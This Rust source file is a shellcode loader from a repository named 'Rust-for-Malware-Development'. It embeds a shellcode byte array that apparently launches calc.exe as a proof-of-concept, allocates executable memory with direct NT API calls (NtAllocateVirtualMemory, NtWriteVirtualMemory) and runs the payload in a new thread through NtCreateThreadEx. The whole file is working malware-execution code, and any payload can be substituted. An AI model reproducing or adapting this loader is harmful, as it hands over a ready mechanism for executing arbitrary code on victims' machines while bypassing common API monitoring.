syscalls.rs

/*
    Basics Syscalls to Carry out SHellcode Execution ..!
    For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
    @5mukx
*/

use std::{ptr::null_mut, thread::sleep, time::Duration};

use ntapi::{ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory}, ntpsapi::NtCreateThreadEx};
use winapi::{ctypes::c_void, shared::basetsd::PSIZE_T, um::winnt::THREAD_ALL_ACCESS};

macro_rules! error {
    ($msg:expr) => {
        println!("\\_____[-] {}", format!($msg));
        println!("Exiting ...");
    }
}


fn main(){
    let mut shellcode: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];

    unsafe{
        let handle = -1isize as *mut c_void;

        let mut address = null_mut() as *mut c_void;
    
        let nt_allocate = NtAllocateVirtualMemory(
            handle,
            &mut address,
            0,
            &mut shellcode.len(),
            0x00001000 | 0x00002000, // MEM_COMMIT | MEM_RESERVE 
            0x40,  
        );

        if nt_allocate != 0{
            error!("NtAllocateVirtualMemory Failed");
            return;
        }

        let number_of_write: PSIZE_T = null_mut();
        
        let nt_write = NtWriteVirtualMemory(
            handle,
            address,
            shellcode.as_mut_ptr() as *mut c_void,
            shellcode.len(),
            number_of_write,
        );

        if nt_write != 0 {
            println!("NtWriteVirtualMemory Failed");
            return;
        }

        let mut hthread = null_mut() as *mut c_void;

        let nt_create = NtCreateThreadEx(
            &mut hthread,
            THREAD_ALL_ACCESS,
            null_mut(),
            handle,
            address,
            null_mut(),
            0,
            0,
            0,
            0,
            null_mut(),
        );

        if nt_create !=0{
            error!("NtCreateThreadEx Failed");
            return;
        }
        sleep(Duration::from_secs(2));
    }
}